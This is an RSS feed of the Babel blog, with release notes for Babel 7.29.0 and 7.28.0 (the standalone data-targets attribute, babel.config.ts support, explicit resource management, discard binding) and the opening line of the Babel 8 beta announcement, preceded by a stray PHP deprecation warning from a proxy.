<br />
<b>Deprecated</b>:  The each() function is deprecated. This message will be suppressed on further calls in <b>/home/zhenxiangba/zhenxiangba.com/public_html/phproxy-improved-master/index.php</b> on line <b>456</b><br />
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Babel Blog</title>
        <link>https://babeljs.io/blog</link>
        <description>Babel Blog</description>
        <lastBuildDate>Sat, 31 Jan 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <item>
            <title><![CDATA[7.29.0 Released: The last Babel 7 minor release]]></title>
            <link>https://babeljs.io/blog/2026/01/31/7.29.0</link>
            <guid>https://babeljs.io/blog/2026/01/31/7.29.0</guid>
            <pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.29.0 is out!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.29.0 is out!</p>
<p>This is the last minor release of Babel 7, as we are getting ready to release Babel 8.0.0. Babel 8.0.0-rc is also out today: go try it out!</p>
<p>This release include support for defining transpilation targets in <code>@babel/standalone</code> through a <code>data-target</code> attribute on <code>&lt;script&gt;</code> elements. It also adds support for the <code>@babel/core</code> async API to <code>@babel/standalone</code>.</p>
<p>Both of these changes are meant to ease the migration from Babel 7 to Babel 8.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.29.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>. If you are already using <a href="https://babeljs.io/blog/2025/05/30/babel-8-beta" target="_blank" rel="noopener noreferrer" class="">Babel 8 beta</a>, all the new 7.28.0 features are included in <a href="https://github.com/babel/babel/releases/tag/v8.0.0-rc.1" target="_blank" rel="noopener noreferrer" class="">v8.0.0-rc.1</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2026/01/31/7.29.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="babelstandalone-support-for-data-targets-attribute-17482"><code>@babel/standalone</code> support for <code>data-targets</code> attribute (<a href="https://github.com/babel/babel/pull/17482" target="_blank" rel="noopener noreferrer" class="">#17482</a>)<a href="https://babeljs.io/blog/2026/01/31/7.29.0#babelstandalone-support-for-data-targets-attribute-17482" class="hash-link" aria-label="Direct link to babelstandalone-support-for-data-targets-attribute-17482" title="Direct link to babelstandalone-support-for-data-targets-attribute-17482" translate="no">​</a></h3>
<p>By default <code>@babel/preset-env</code> transforms your code all the way down to ES5. This is changing in Babel 8, where it will default to <a href="https://browsersl.ist/#q=defaults" target="_blank" rel="noopener noreferrer" class="">Browserslist's <code>defaults</code> query</a>.</p>
<p>It is recommended to always specify your <a href="https://babeljs.io/docs/en/babel-preset-env#targets" target="_blank" rel="noopener noreferrer" class=""><code>targets</code></a> explicitly, already starting in Babel 7, so that your output will not change with the major upgrade. This new attribute makes it possible to do so when using <code>@babel/standalone</code> to automatically transform <code>&lt;script&gt;</code> tags:</p>
<div class="language-html codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-html codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token tag punctuation" style="color:#c82829">&lt;</span><span class="token tag" style="color:#c82829">script</span><span class="token tag" style="color:#c82829"> </span><span class="token tag attr-name" style="color:#4271ae">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#f5871f">=</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag attr-value" style="color:#f5871f">https://unpkg.com/@babel/standalone/babel.min.js</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag punctuation" style="color:#c82829">&gt;</span><span class="token script"></span><span class="token tag punctuation" style="color:#c82829">&lt;/</span><span class="token tag" style="color:#c82829">script</span><span class="token tag punctuation" style="color:#c82829">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token tag punctuation" style="color:#c82829">&lt;</span><span class="token tag" style="color:#c82829">script</span><span class="token tag" style="color:#c82829"> </span><span class="token tag attr-name" style="color:#4271ae">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#f5871f">=</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag attr-value" style="color:#f5871f">text/babel</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag" style="color:#c82829"> </span><span class="token tag attr-name" style="color:#4271ae">data-targets</span><span class="token tag attr-value punctuation attr-equals" style="color:#f5871f">=</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag attr-value" style="color:#f5871f">firefox 97, chrome 102</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag punctuation" style="color:#c82829">&gt;</span><span class="token script language-javascript"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token script language-javascript">  </span><span class="token script language-javascript keyword" style="color:#8959a8">const</span><span class="token script language-javascript"> </span><span class="token script language-javascript function-variable function" style="color:#4271ae">getMessage</span><span class="token script language-javascript"> </span><span class="token script language-javascript operator">=</span><span class="token script language-javascript"> </span><span class="token script language-javascript punctuation">(</span><span class="token script language-javascript punctuation">)</span><span class="token script language-javascript"> </span><span class="token script language-javascript arrow operator">=&gt;</span><span class="token script language-javascript"> </span><span class="token script language-javascript string" style="color:#718c00">"Hello World"</span><span class="token script language-javascript punctuation">;</span><span class="token script language-javascript"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token script language-javascript">  </span><span class="token script language-javascript dom variable" style="color:#c82829">document</span><span class="token script language-javascript punctuation">.</span><span class="token script language-javascript method function property-access" style="color:#4271ae">getElementById</span><span class="token script language-javascript punctuation">(</span><span class="token script language-javascript string" style="color:#718c00">"output"</span><span class="token script language-javascript punctuation">)</span><span class="token script language-javascript punctuation">.</span><span class="token script language-javascript property-access">innerHTML</span><span class="token script language-javascript"> </span><span class="token script language-javascript operator">=</span><span class="token script language-javascript"> </span><span class="token script language-javascript function" style="color:#4271ae">getMessage</span><span class="token script language-javascript punctuation">(</span><span class="token script language-javascript punctuation">)</span><span class="token script language-javascript punctuation">;</span><span class="token script language-javascript"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token script language-javascript"></span><span class="token tag punctuation" style="color:#c82829">&lt;/</span><span class="token tag" style="color:#c82829">script</span><span class="token tag punctuation" style="color:#c82829">&gt;</span><br></span></code></pre></div></div>
<p>Note that Browserslist does not support specifying "current browser" as a target: it's your reponsability to pick old enough targets that your users' browsers are supported.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="babel-800-rc1">Babel 8.0.0-rc.1<a href="https://babeljs.io/blog/2026/01/31/7.29.0#babel-800-rc1" class="hash-link" aria-label="Direct link to Babel 8.0.0-rc.1" title="Direct link to Babel 8.0.0-rc.1" translate="no">​</a></h3>
<p>After <em>years</em> in the making, Babel 8 is finally ready. We are releasing it as 8.0.0-rc.1, so that more users can try it out and report problems before the final release. There are no further changes that we plan to introduce, unless due to feedback from users trying the latest pre-releases.</p>
<p>A guiding principle for the breaking changes we've introduced is that updating to Babel 8 should be easy: most of them have been already introduced in Babel 7 behind an option, so that you can start adapting your code before actually performing the update.</p>
<p>We've prepared some great resources to navigate through what's needed to upgrade from Babel 7 to Babel 8:</p>
<ul>
<li class="">a <a href="https://next.babeljs.io/docs/v8-migration" target="_blank" rel="noopener noreferrer" class="">migration guide for Babel users</a>;</li>
<li class="">a <a href="https://next.babeljs.io/docs/v8-migration-api" target="_blank" rel="noopener noreferrer" class="">migration guide for developers using Babel's API</a>, such as Babel plugin authors or direct consumers of our AST;</li>
<li class="">the website with the Babel 8 documentation, currently hosted at <a href="https://next.babeljs.io/" target="_blank" rel="noopener noreferrer" class="">https://next.babeljs.io/</a> until Babel 8 becomes stable.</li>
</ul>
<p>There are many breaking changes that hopefully will not impact our users, but of which we are incredibly excited about: an example is that Babel 8 will ship as an ESM-only package. We've been trying to figure out how to make this work for very long time, and finally with the <code>require(esm)</code> support <a href="https://nodejs.org/api/modules.html#loading-ecmascript-modules-using-require" target="_blank" rel="noopener noreferrer" class="">shipped in Node.js 20</a> we are comfortable with not providing a CommonJS alternative.</p>
<p>You can also read the full changelog of each Babel 8 pre-release <a href="https://github.com/babel/babel/blob/main/.github/CHANGELOG-v8.md" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.28.0 Released: `babel.config.ts`, explicit resource management, and discard binding proposal]]></title>
            <link>https://babeljs.io/blog/2025/06/30/7.28.0</link>
            <guid>https://babeljs.io/blog/2025/06/30/7.28.0</guid>
            <pubDate>Mon, 30 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.28.0 is out!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.28.0 is out!</p>
<p>This release includes support for <code>babel.config.ts</code> and <code>babel.config.mts</code>, the ES2026 Explicit Resource Management feature, the <a href="https://github.com/tc39/proposal-discard-binding" target="_blank" rel="noopener noreferrer" class="">discard binding proposal</a>, and the <code>sourceType: "commonjs"</code> option.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.28.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>. If you are already using <a href="https://babeljs.io/blog/2025/05/30/babel-8-beta" target="_blank" rel="noopener noreferrer" class="">Babel 8 beta</a>, all the new 7.28.0 features are included in <a href="https://github.com/babel/babel/releases/tag/v8.0.0-beta.1" target="_blank" rel="noopener noreferrer" class="">v8.0.0-beta.1</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2025/06/30/7.28.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="native-support-for-babelconfigts-and-babelconfigmts-17392">Native support for <code>babel.config.ts</code> and <code>babel.config.mts</code> (<a href="https://github.com/babel/babel/pull/17392" target="_blank" rel="noopener noreferrer" class="">#17392</a>)<a href="https://babeljs.io/blog/2025/06/30/7.28.0#native-support-for-babelconfigts-and-babelconfigmts-17392" class="hash-link" aria-label="Direct link to native-support-for-babelconfigts-and-babelconfigmts-17392" title="Direct link to native-support-for-babelconfigts-and-babelconfigmts-17392" translate="no">​</a></h3>
<p>Babel now supports <code>babel.config.ts</code> and <code>babel.config.mts</code> natively. We recommend using Node.js 24 for the best results.</p>
<p>If you are using Babel 8.0.0-beta.1, you can import typings directly from <code>@babel/core</code> and use them in your Babel config:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.ts</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Requires Babel 8.0.0-beta.1 or above</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> ConfigAPI</span><span class="token punctuation">,</span><span class="token plain"> InputOptions </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"@babel/core"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">babelConfig</span><span class="token punctuation">(</span><span class="token plain">api</span><span class="token operator">:</span><span class="token plain"> ConfigAPI</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> InputOptions </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    assumptions</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      noDocumentAll</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    presets</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          targets</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">            node</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"current"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token string" style="color:#718c00">"@babel/preset-typescript"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="explicit-resource-management-enabled-by-default-17346-17355">Explicit resource management enabled by default (<a href="https://github.com/babel/babel/pull/17346" target="_blank" rel="noopener noreferrer" class="">#17346</a>, <a href="https://github.com/babel/babel/pull/17355" target="_blank" rel="noopener noreferrer" class="">#17355</a>)<a href="https://babeljs.io/blog/2025/06/30/7.28.0#explicit-resource-management-enabled-by-default-17346-17355" class="hash-link" aria-label="Direct link to explicit-resource-management-enabled-by-default-17346-17355" title="Direct link to explicit-resource-management-enabled-by-default-17346-17355" translate="no">​</a></h3>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">input.mjs</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  using handlerSync </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">openSync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> using handlerAsync </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">openAsync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// handlerSync and handlerAsync will be disposed when the block exits</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p><a href="https://github.com/tc39/proposal-explicit-resource-management/" target="_blank" rel="noopener noreferrer" class="">Explicit resource management</a>, which was conditionally approved for Stage 4 during the May 2025 TC39 meeting, is now enabled by default in <code>@babel/preset-env</code> and <code>@babel/parser</code>.</p>
<p>If you were using the <code>@babel/plugin-proposal-explicit-resource-management</code> plugin and <code>@babel/preset-env</code>, you can now remove the plugin from your config.</p>
<p>If you used the <code>explicitResourceManagement</code> parser plugin, you can remove it from your config.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="discard-binding-17276">Discard binding (<a href="https://github.com/babel/babel/pull/17276" target="_blank" rel="noopener noreferrer" class="">#17276</a>)<a href="https://babeljs.io/blog/2025/06/30/7.28.0#discard-binding-17276" class="hash-link" aria-label="Direct link to discard-binding-17276" title="Direct link to discard-binding-17276" translate="no">​</a></h3>
<p>Babel supports transforming the <a href="https://github.com/tc39/proposal-discard-binding" target="_blank" rel="noopener noreferrer" class="">discard binding</a> proposal. Now you can use the <code>void</code> binding to indicate an unused variable or parameter:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">example.mjs</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  using </span><span class="token keyword" style="color:#8959a8">void</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">AcquireLock</span><span class="token punctuation">(</span><span class="token plain">mutex</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// The mutex lock will be automatically disposed when the block exits</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// A customized JSON serializer with bigint support</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// The first parameter of the replacer is unused</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token known-class-name class-name" style="color:#eab700">JSON</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">stringify</span><span class="token punctuation">(</span><span class="token plain">input</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token parameter keyword" style="color:#8959a8">void</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> value</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> value </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"bigint"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> value</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">else</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> value</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">toJSON</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Get a clone of the input object without property `z`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">z</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">void</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token spread operator">...</span><span class="token plain">obj </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token literal-property property">y</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token literal-property property">z</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">obj</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// { x: 1, y: 2 }</span><br></span></code></pre></div></div>
<p>You can enable it by adding the <code>@babel/plugin-proposal-discard-binding</code> plugin to your Babel config.</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.ts</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  plugins</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-discard-binding"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> syntaxType</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"void"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>Note that the proposal might still change to use a different syntax: as such, the <code>syntaxType</code> option is required and currently its only valid value is <code>"void"</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="sourcetype-commonjs-17390"><code>sourceType: "commonjs"</code> (<a href="https://github.com/babel/babel/pull/17390" target="_blank" rel="noopener noreferrer" class="">#17390</a>)<a href="https://babeljs.io/blog/2025/06/30/7.28.0#sourcetype-commonjs-17390" class="hash-link" aria-label="Direct link to sourcetype-commonjs-17390" title="Direct link to sourcetype-commonjs-17390" translate="no">​</a></h3>
<p>The <code>"commonjs"</code> mode indicates that the code should be run in a CommonJS environment such as Node.js. It is similar to the <code>"script"</code> mode, but it allows <code>return</code>, <code>new.target</code>, and <code>using</code>/<code>await using</code> declarations at the top level.</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.ts</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// Specify commonjs sourceType for all `*.cjs` sources</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  overrides</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      test</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"*.cjs"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      sourceType</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"commonjs"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You should use <code>sourceType: "commonjs"</code> when using CommonJS-specific syntax, and <code>sourceType: "script"</code> when writing non-module <code>&lt;script&gt;</code>s.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[Announcing Babel 8 Beta]]></title>
            <link>https://babeljs.io/blog/2025/05/30/babel-8-beta</link>
            <guid>https://babeljs.io/blog/2025/05/30/babel-8-beta</guid>
            <pubDate>Fri, 30 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[After almost two years since the first Babel 8 alpha release (8.0.0-alpha.0), we are finally ready.]]></description>
            <content:encoded><![CDATA[<p>After almost two years since the first Babel 8 alpha release (<a href="https://github.com/babel/babel/releases/tag/v8.0.0-alpha.0" target="_blank" rel="noopener noreferrer" class="">8.0.0-alpha.0</a>), we are finally ready.</p>
